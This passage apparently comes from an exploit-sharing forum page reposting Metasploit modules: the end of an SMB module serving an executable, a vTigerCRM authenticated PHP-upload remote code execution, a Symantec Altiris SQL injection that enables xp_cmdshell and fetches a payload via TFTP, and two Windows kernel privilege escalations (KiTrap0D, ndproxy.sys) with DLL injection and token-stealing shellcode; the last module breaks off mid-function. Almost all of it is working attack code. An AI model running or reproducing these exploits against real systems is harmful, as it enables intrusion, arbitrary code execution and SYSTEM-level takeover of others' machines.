      pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
      pkt['Payload']['SMB'].v['Flags1'] = 0x88
      pkt['Payload']['SMB'].v['Flags2'] = 0xc001
      c.put(pkt.to_s)
    end
 
  end
 
  def smb_cmd_read(c, buff)
    pkt = CONST::SMB_READ_PKT.make_struct
    pkt.from_s(buff)
 
    offset = pkt['Payload'].v['Offset']
    length = pkt['Payload'].v['MaxCountLow']
 
    pkt = CONST::SMB_READ_RES_PKT.make_struct
    smb_set_defaults(c, pkt)
 
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['Flags2'] = 0xc001
    pkt['Payload']['SMB'].v['WordCount'] = 12
    pkt['Payload'].v['AndX'] = 0xff # no more commands
    pkt['Payload'].v['Remaining'] = 0xffff
    pkt['Payload'].v['DataLenLow'] = length
    pkt['Payload'].v['DataOffset'] = 59
    pkt['Payload'].v['DataLenHigh'] = 0
    pkt['Payload'].v['Reserved3'] = 0
    pkt['Payload'].v['Reserved4'] = 6
    pkt['Payload'].v['ByteCount'] = length
    pkt['Payload'].v['Payload'] = @exe[offset, length]
 
    c.put(pkt.to_s)
  end
 
  def smb_cmd_trans(c, buff)
    pkt = CONST::SMB_TRANS2_PKT.make_struct
    pkt.from_s(buff)
 
    sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
    case sub_command
      when 0x5 # QUERY_PATH_INFO
        smb_cmd_trans_query_path_info(c, buff)
      when 0x1 # FIND_FIRST2
        smb_cmd_trans_find_first2(c, buff)
      else
        pkt = CONST::SMB_TRANS_RES_PKT.make_struct
        smb_set_defaults(c, pkt)
        pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
        pkt['Payload']['SMB'].v['Flags1'] = 0x88
        pkt['Payload']['SMB'].v['Flags2'] = 0xc001
        pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
        c.put(pkt.to_s)
    end
  end
 
  def smb_cmd_trans_query_path_info(c, buff)
    pkt = CONST::SMB_TRANS2_PKT.make_struct
    pkt.from_s(buff)
 
    if pkt['Payload'].v['SetupData'].length < 16
      # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
      # return a Directory answer
      pkt = CONST::SMB_TRANS_RES_PKT.make_struct
      smb_set_defaults(c, pkt)
 
      pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
      pkt['Payload']['SMB'].v['Flags1'] = 0x88
      pkt['Payload']['SMB'].v['Flags2'] = 0xc001
      pkt['Payload']['SMB'].v['WordCount'] = 10
      pkt['Payload'].v['ParamCountTotal'] = 2
      pkt['Payload'].v['DataCountTotal'] = 40
      pkt['Payload'].v['ParamCount'] = 2
      pkt['Payload'].v['ParamOffset'] = 56
      pkt['Payload'].v['DataCount'] = 40
      pkt['Payload'].v['DataOffset'] = 60
      pkt['Payload'].v['Payload'] =
        "\x00" + # Padding
        # QUERY_PATH_INFO Parameters
        "\x00\x00" + # EA Error Offset
        "\x00\x00" + # Padding
        #QUERY_PATH_INFO Data
        [@lo, @hi].pack("VV") + # Created
        [@lo, @hi].pack("VV") + # Last Access
        [@lo, @hi].pack("VV") + # Last Write
        [@lo, @hi].pack("VV") + # Change
        "\x10\x00\x00\x00" + # File attributes => directory
        "\x00\x00\x00\x00" # Unknown
      c.put(pkt.to_s)
 
    else
      # if QUERY_PATH_INFO_PARAMETERS includes a file name,
      # returns an object name not found error
      pkt = CONST::SMB_TRANS_RES_PKT.make_struct
      smb_set_defaults(c, pkt)
 
      pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
      pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
      pkt['Payload']['SMB'].v['Flags1'] = 0x88
      pkt['Payload']['SMB'].v['Flags2'] = 0xc001
      c.put(pkt.to_s)
 
    end
  end
 
  def smb_cmd_trans_find_first2(c, buff)
 
    pkt = CONST::SMB_TRANS_RES_PKT.make_struct
    smb_set_defaults(c, pkt)
 
    file_name = Rex::Text.to_unicode(@scr_file)
 
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['Flags2'] = 0xc001
    pkt['Payload']['SMB'].v['WordCount'] = 10
    pkt['Payload'].v['ParamCountTotal'] = 10
    pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
    pkt['Payload'].v['ParamCount'] = 10
    pkt['Payload'].v['ParamOffset'] = 56
    pkt['Payload'].v['DataCount'] = 94 + file_name.length
    pkt['Payload'].v['DataOffset'] = 68
    pkt['Payload'].v['Payload'] =
      "\x00" + # Padding
      # FIND_FIRST2 Parameters
      "\xfd\xff" + # Search ID
      "\x01\x00" + # Search count
      "\x01\x00" + # End Of Search
      "\x00\x00" + # EA Error Offset
      "\x00\x00" + # Last Name Offset
      "\x00\x00" + # Padding
      #QUERY_PATH_INFO Data
      [94 + file_name.length].pack("V") + # Next Entry Offset
      "\x00\x00\x00\x00" + # File Index
      [@lo, @hi].pack("VV") + # Created
      [@lo, @hi].pack("VV") + # Last Access
      [@lo, @hi].pack("VV") + # Last Write
      [@lo, @hi].pack("VV") + # Change
      [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
      "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
      "\x80\x00\x00\x00" + # File attributes => directory
      [file_name.length].pack("V") + # File name len
      "\x00\x00\x00\x00" + # EA List Lenght
      "\x00" + # Short file lenght
      "\x00" + # Reserved
      ("\x00" * 24) +
      file_name
 
    c.put(pkt.to_s)
  end
 
end
 
vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution

Код:
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
      'Description' => %q{
      vTiger CRM allows an authenticated user to upload files to embed within documents.
      Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
      script and execute aribtrary PHP code remotely.
 
      This module was tested against vTiger CRM v5.4.0 and v5.3.0.
      },
      'Author' =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2013-3591'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Payload'    =>
        {
          'BadChars' => "&\n=+%",
        },
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))
 
    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
      ], self.class)
  end
 
  def check
    res = nil
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
    rescue
      print_error("Unable to access the index.php file")
      return CheckCode::Unknown
    end
 
    if res and res.code != 200
      print_error("Error accessing the index.php file")
      return CheckCode::Unknown
    end
 
    if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
      print_status("vTiger CRM version: " + $1)
      case $1
      when '5.4.0', '5.3.0'
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    end
 
    return CheckCode::Unknown
  end
 
  def exploit
 
      init = send_request_cgi({
        'method' => 'GET',
        'uri' =>  normalize_uri(target_uri.path, '/index.php')
      })
 
      sess = init.get_cookies
 
      post = {
        'module' => 'Users',
        'action' => 'Authenticate',
        'return_module' => 'Users',
        'return_action' => 'Login',
        'user_name' => datastore['USERNAME'],
        'user_password' => datastore['PASSWORD']
      }
 
      login = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'vars_post' => post,
        'cookie' => sess
      })
 
      fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
      cookies = login.get_cookies
 
      php = %Q|<?php #{payload.encoded} ?>|
      data = Rex::MIME::Message.new
      data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
      data.add_part('files', nil, nil, 'form-data; name="dir"')
 
      data_post = data.to_s
 
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
        'ctype' => "multipart/form-data; boundary=#{data.bound}",
        'data' => data_post,
        'cookie' => cookies
      })
      if res and res.code == 200
        print_status("Triggering payload...")
        send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
      end
  end
end
 
Symantec Altiris DS SQL Injection Vulnerability

This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8
to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize
numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell, several SQL injections are required in close succession, first to enable p_cmdshell, then
retrieve the payload via TFTP and finally execute it. The module also has the capability
to disable or enable local application authentication. In order to work the target system
must have a tftp client available

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking
 
 include Msf::Exploit::CmdStagerTFTP
 include Msf::Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Altiris DS SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8
        to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize
        numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell,
        several SQL injections are required in close succession, first to enable xp_cmdshell, then
        retrieve the payload via TFTP and finally execute it. The module also has the capability
        to disable or enable local application authentication. In order to work the target system
        must have a tftp client available.
      },
      'Author'         =>
        [
          'Brett Moore',  # Vulnerability discovery
          '3v0lver'       # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-2286' ],
          [ 'OSVDB', '45313' ],
          [ 'BID', '29198'],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Targets' =>
        [
          [ 'Windows 2003 (with tftp client available)',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'Privileged' => true,
      'Platform' => 'win',
      'DisclosureDate' => 'May 15 2008',
      'DefaultTarget' => 0))
 
    register_options(
    [
      Opt::RPORT(402),
      OptBool.new('XP_CMDSHELL',      [ true, "Enable xp_cmdshell prior to exploit", true]),
      OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]),
      OptBool.new('ENABLE_SECURITY',  [ true, "Enable Local Deployment Console Authentication", false ])
    ], self.class)
 
  end
 
  def execute_command(cmd, opts = {})
    inject=[]
 
    if @xp_shell_enable
      inject+=[
        "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}",
        "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}",
      ]
      @xp_shell_enable = false
    end
 
    if @wc_disable_security
      inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"]
      @wc_disable_security = false
    end
 
    if @wc_enable_security
      inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"]
      @wc_enable_security = false
    end
 
    inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil
 
    inject.each do |sqli|
      send_update_computer("2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);--")
    end
  end
 
 def send_update_computer(processor_speed)
   notification = %Q|Request=UpdateComputer
OS-Bit=32
CPU-Arch=x86
IP-Address=192.168.20.107
MAC-Address=005056C000AB
Name=Remove_test
OS=Windows XP
Version=2.6-38 (32-Bit)
LoggedIn=Yes
Boot-Env=Automation
Platform=Linux
Agent-Settings=Same
Sys-Info-TimeZoneBias=0
Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz
Processor-Speed=#{processor_speed}
   \x00
   |
 
   connect
   sock.put(notification)
   response = sock.get_once()
   disconnect
 
   return response
 end
 
  def check
    res = send_update_computer("2659")
 
    unless res and res =~ /Result=Success/ and res=~ /DSVersion=(.*)/
      return Exploit::CheckCode::Unknown
    end
 
    version = $1
 
    unless version =~ /^6\.(\d+)\.(\d+)$/
      return Exploit::CheckCode::Safe
    end
 
    print_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'"
 
    minor = $1.to_i
    build = $2.to_i
 
    if minor == 8
      if build == 206 || build == 282 || build == 378
        return Exploit::CheckCode::Vulnerable
      elsif build < 390
        return Exploit::CheckCode::Appears
      end
    elsif minor == 9 and build < 176
      #The existence of versions matching this profile is a possibility... none were observed in the wild though
      #as such, we're basing confidence off of Symantec's vulnerability bulletin.
      return Exploit::CheckCode::Appears
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    @wc_disable_security = datastore['DISABLE_SECURITY']
    @wc_enable_security = datastore['ENABLE_SECURITY']
    @xp_shell_enable = datastore['XP_CMDSHELL']
 
    # CmdStagerVBS was tested here as well, however delivery took roughly
    # 30 minutes and required sending almost 350 notification messages.
    # size constraint requirement for SQLi is: linemax => 393
    execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'})
  end
 
  def on_new_session(client)
    return if not payload_exe
 
    #can't scrub dropped payload while the process is still active so...
    #iterate through process list, find our process and the associated
    #parent process ID, Kill the parent.
    #This module doesn't use FileDropper because of timing issues when
    #using migrate -f and FileDropper. On the other hand PrependMigrate
    #has been avoided because of issues with reverse_https payload
    #SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365
 
    unless client.type == "meterpreter"
      print_error("Automatic cleanup only available with meterpreter, please delete #{payload_exe} manually")
      return
    end
 
    client.core.use("stdapi") unless client.ext.aliases.include?("stdapi")
    # migrate
    print_status("Migrating ...")
    client.console.run_single("run migrate -f")
    # kill the parent process so the payload can hopefully be dropped
    print_status("Kill parent process ...")
    client.sys.process.get_processes().each do |proc|
      if proc['pid'] == client.sys.process.open.pid
          client.sys.process.kill(proc['ppid'])
      end
    end
 
    win_temp = client.fs.file.expand_path("%TEMP%")
    win_file = "#{win_temp}\\#{payload_exe}"
    print_status("Attempting to delete #{win_file} ...")
    client.shell_command_token(%Q|attrib.exe -r #{win_file}|)
    client.fs.file.rm(win_file)
    print_good("Deleted #{win_file}")
  end
 
end
 
# BAD8864E89641C74   1337day.com [2013-11-09]   C24D86B7A60B3A6E #
 
Windows SYSTEM Escalation Via KiTrap0D

This Metasploit module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll and is not supported on x64 editions of Windows.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = GreatRanking

  include Post::File
  include Post::Windows::Priv

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows SYSTEM escalation via KiTrap0D',
      'Description'   => %q{
        This module will create a new session with SYSTEM privileges via the
        KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
        elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
        and is not supported on x64 editions of Windows.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Tavis Ormandy', # Original resesarcher and exploit creator
          'HD Moore',      # Port of Tavis' code to meterpreter module
          'Pusscat',       # Port of Tavis' code to meterpreter module
          'OJ Reeves'      # Port of meterpreter code to a windows local exploit
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
        [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
      ],
      'DefaultTarget' => 0,
      'References'    => [
        [ 'CVE', '2010-0232' ],
        [ 'OSVDB', '61854' ],
        [ 'MSB', 'MS10-015' ],
        [ 'EDB', '11199' ],
        [ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ]
      ],
      'DisclosureDate'=> "Jan 19 2010"
    ))

  end

  def check
    # Validate platform architecture
    if sysinfo["Architecture"] =~ /x64|WOW64/i
      return Exploit::CheckCode::Safe
    end

    # Validate OS version
    winver = sysinfo["OS"]
    unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Exploit::Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
    end

    dll = ''
    offset = nil

    print_status("Launching notepad to host the exploit...")
    cmd = "notepad.exe"
    opts = {'Hidden' => true}
    process = client.sys.process.execute(cmd, nil, opts)
    pid = process.pid
    host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
    print_good("Process #{pid} launched.")

    print_status("Reflectively injecting the exploit DLL into #{pid}...")
    library_path = ::File.join(Msf::Config.data_directory, "exploits",
                               "CVE-2010-0232", "kitrap0d.x86.dll")
    library_path = ::File.expand_path(library_path)
    ::File.open(library_path, 'rb') { |f| dll = f.read }
    pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
    pe.exports.entries.each do |e|
      if e.name =~ /^\S*ReflectiveLoader\S*/
        offset = pe.rva_to_file_offset(e.rva)
        break
      end
    end
    # Inject the exloit, but don't run it yet.
    exploit_mem = inject_into_pid(dll, host_process)

    print_status("Exploit injected. Injecting payload into #{pid}...")
    # Inject the payload into the process so that it's runnable by the exploit.
    payload_mem = inject_into_pid(payload.encoded, host_process)

    print_status("Payload injected. Executing exploit...")
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    host_process.thread.create(exploit_mem + offset, payload_mem)

    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
  end

protected

  def inject_into_pid(payload, process)
    payload_size = payload.length
    payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
    payload_mem = process.memory.allocate(payload_size)
    process.memory.protect(payload_mem)
    process.memory.write(payload_mem, payload)
    return payload_mem
  end

end
 
Microsoft Windows ndproxy.sys Local Privilege Escalation

Код:
require 'msf/core'
require 'rex'
  
class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
  
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  
  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Microsoft Windows ndproxy.sys Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
        SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
        processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
        to access an array unsafely, and the value is used to perform a call, leading to a NULL
        pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
        module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
        work the service "Routing and Remote Access" must be running on the target system.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Unknown', # Vulnerability discovery
          'ryujin', # python PoC
          'Shahin Ramezany', # C PoC
          'juan vazquez' # MSF module
        ],
      'Arch'          => ARCH_X86,
      'Platform'      => 'win',
      'Payload'       =>
        {
          'Space' => 4096,
          'DisableNops' => true
        },
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'       =>
        [
          [ 'Automatic', { } ],
          [ 'Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
              '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
              '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct
              '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct
              '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct
            }
          ],
          [ 'Windows Server 2003 SP2',
            {
              'HaliQuerySystemInfo' => 0x1fa1e,
              '_KPROCESS' => "\x38",
              '_TOKEN' => "\xd8",
              '_UPID' => "\x94",
              '_APLINKS' => "\x98"
            }
          ]
        ],
      'References'    =>
        [
          [ 'CVE', '2013-5065' ],
          [ 'OSVDB' , '100368'],
          [ 'BID', '63971' ],
          [ 'EDB', '30014' ],
          [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
          [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
          [ 'URL', 'http://www.secniu.com/blog/?p=53' ],
          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
          [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
        ],
      'DisclosureDate'=> 'Nov 27 2013',
      'DefaultTarget' => 0
    }))
  
  end
  
  def add_railgun_functions
    session.railgun.add_function(
      'ntdll',
      'NtAllocateVirtualMemory',
      'DWORD',
      [
        ["DWORD", "ProcessHandle", "in"],
        ["PBLOB", "BaseAddress", "inout"],
        ["PDWORD", "ZeroBits", "in"],
        ["PBLOB", "RegionSize", "inout"],
        ["DWORD", "AllocationType", "in"],
        ["DWORD", "Protect", "in"]
      ])
  
    session.railgun.add_function(
      'ntdll',
      'NtDeviceIoControlFile',
      'DWORD',
      [
        [ "DWORD", "FileHandle", "in" ],
        [ "DWORD", "Event", "in" ],
        [ "DWORD", "ApcRoutine", "in" ],
        [ "DWORD", "ApcContext", "in" ],
        [ "PDWORD", "IoStatusBlock", "out" ],
        [ "DWORD", "IoControlCode", "in" ],
        [ "LPVOID", "InputBuffer", "in" ],
        [ "DWORD", "InputBufferLength", "in" ],
        [ "LPVOID", "OutputBuffer", "in" ],
        [ "DWORD", "OutPutBufferLength", "in" ]
      ])
  
    session.railgun.add_function(
      'ntdll',
      'NtQueryIntervalProfile',
      'DWORD',
      [
        [ "DWORD", "ProfileSource", "in" ],
        [ "PDWORD", "Interval", "out" ]
      ])
    session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function(
      'psapi',
      'EnumDeviceDrivers',
      'BOOL',
      [
        ["PBLOB", "lpImageBase", "out"],
        ["DWORD", "cb", "in"],
        ["PDWORD", "lpcbNeeded", "out"]
      ])
    session.railgun.add_function(
      'psapi',
      'GetDeviceDriverBaseNameA',
      'DWORD',
      [
        ["LPVOID", "ImageBase", "in"],
        ["PBLOB", "lpBaseName", "out"],
        ["DWORD", "nSize", "in"]
      ])
  end
  
  def open_device(dev)
  
    invalid_handle_value = 0xFFFFFFFF
  
    r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
  
    handle = r['return']
  
    if handle == invalid_handle_value
      return nil
    end
  
    return handle
  end
  
  def find_sys_base(drvname)
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
  
    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end
  
    return nil
  end
  
  def ring0_shellcode(t)
    restore_ptrs =  "\x31\xc0"                                                # xor eax, eax
    restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L")  # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
  
    tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack
    tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
    tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8"                                               # mov ecx, eax
    tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
    tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx
    tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx
    tokenstealing << "\xc2\x10"                                               # ret 10h                          # Away from the kernel!
  
    ring0_shellcode = restore_ptrs + tokenstealing
    return ring0_shellcode
  end
  
  def fill_memory(proc, address, length, content)
  
    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
  
    unless proc.memory.writable?(address)
      vprint_error("Failed to allocate memory")
      return nil
    end
  
    vprint_good("#{address} is now writable")
  
    result = proc.memory.write(address, content)
  
    if result.nil?
      vprint_error("Failed to write contents to memory")
      return nil
    else
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end
  
    return address
  end
  
  def create_proc
    windir = expand_path("%windir%")
    cmd = "#{windir}\\System32\\notepad.exe"
    # run hidden
    begin
      proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
    rescue Rex::Post::Meterpreter::RequestError
      # when running from the Adobe Reader sandbox:
      # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
      return nil
    end
  
    return proc.pid
  end
  
  def disclose_addresses(t)
    addresses = {}
  
    vprint_status("Getting the Kernel module name...")
    kernel_info = find_sys_base(nil)
    if kernel_info.nil?
      vprint_error("Failed to disclose the Kernel module name")
      return nil
    end
    vprint_good("Kernel module found: #{kernel_info[1]}")
  
    vprint_status("Getting a Kernel handle...")
    kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    kernel32_handle = kernel32_handle['return']
    if kernel32_handle == 0
      vprint_error("Failed to get a Kernel handle")
      return nil
    end
    vprint_good("Kernel handle acquired")
  
  
    vprint_status("Disclosing the HalDispatchTable...")
    hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
    hal_dispatch_table = hal_dispatch_table['return']
    if hal_dispatch_table == 0
      vprint_error("Failed to disclose the HalDispatchTable")
      return nil
    end
    hal_dispatch_table -= kernel32_handle
    hal_dispatch_table += kernel_info[0]
    addresses["halDispatchTable"] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
  
    vprint_status("Getting the hal.dll Base Address...")
    hal_info = find_sys_base("hal.dll")
    if hal_info.nil?
      vprint_error("Failed to disclose hal.dll Base Address")
      return nil
    end
    hal_base = hal_info[0]
    vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
  
    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses["HaliQuerySystemInfo"] = hali_query_system_information
  
    vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
    return addresses
  end
  
  
  def check
    vprint_status("Adding the railgun stuff...")
    add_railgun_functions
  
    if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
      return Exploit::CheckCode::Detected
    end
  
    handle = open_device("\\\\.\\NDProxy")
